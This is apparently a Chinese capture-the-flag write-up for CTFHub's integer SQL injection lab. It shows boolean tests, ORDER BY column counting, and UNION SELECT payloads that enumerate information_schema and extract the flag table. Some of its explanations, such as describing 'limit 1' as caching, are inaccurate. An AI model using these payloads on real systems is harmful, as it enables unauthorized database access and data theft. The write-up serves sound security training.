题目:CTFHUB整数型注入
输入
1
2
3
“select * from news where id=1”:
在名字为“news”的表中查询id为1的数据
输入
1‘#
1'#
中:'单引号让字符型查询语句闭合,#将之后的语句注释掉。若为字符型查询语句应为select * from news where id='1'#'
,应有回显。此处无回显,可以判断为整数型注入。
输入
1 and 1=1
和
1 and 1=2
得到
在and 1=1判断为真时执行了查询并回显,and 1=2判断为假时无回显
说明在查询完“id=1”之后执行了and及其之后的语句,存在SQL注入漏洞
输入
1 order by 2
1 order by 3
得到
order by
:用于对结果集按照一个列或者多个列进行排序(默认升序ASC)
SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;
而order by 1,2,3
中,“1”和“2”并不是列名,而是按照列表的“第一列”“第二列”进行排序(默认ASC)
此处我们并不关心回显是什么,即排序于我们是无所谓的,我们写这句话的目的是得到这个表的列数
现在我们可以知道这张表长这个样
— + ---------+
| id | name |
— + ----------+
| 1 |CTFHUB|
— + ---------+
| 2 | skill |
—+ ----------+
使用联合注入
-1 union select 1,2
union
合并两个或多个 SELECT 语句的结果。
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
这就是为什么我们要在前面使用roder by
语句去得到这个表的列数
我们使用了union
,但是只希望得到之后select 1,2
的结果,所以前一句为select * from news where id=-1
,查询无果,不会有回显。
而select 1,2
并且1,2并不是真实存在于这个表中时:1,2会按照列的顺序依次输出
得到
输入
-1 union select 1,group_concat(schema_name) from information_schema.schemata
group_concat(schema_name)
:
schema_name
Returns the schema name associated with a schema ID.
schema:数据库对象(表,索引,视图,存储过程等)的集合
group_concat()
该函数返回带有来自一个组的连接的非NULL值的字符串结果。
就是把查询到的数据库名用逗号连接起来组成一个字符串
得到
构造
-1 union select 1,database()
得到当前数据库名sqli
继续构造
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' limit 1
table_name
表名
information_schema
信息数据库
提供当前项目的元数据视图,不支持跨项目的元数据访问。
是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增、删、改)
table_schema
数据库名称
limit 1
将查询结果一级缓存,即查询到一条数据后就不再继续查询,特定情况下提高查询效率
得到
得知在“sqli”数据库下有两张表,分别名为“flag”和“news”
继续构造
-1 union select 1,group_concat(flag) from sqli.flag limit 1
在“sqli”数据库下的“flag”表中查询flag项,并限制结果一级缓存
得到
注入完毕,得到flag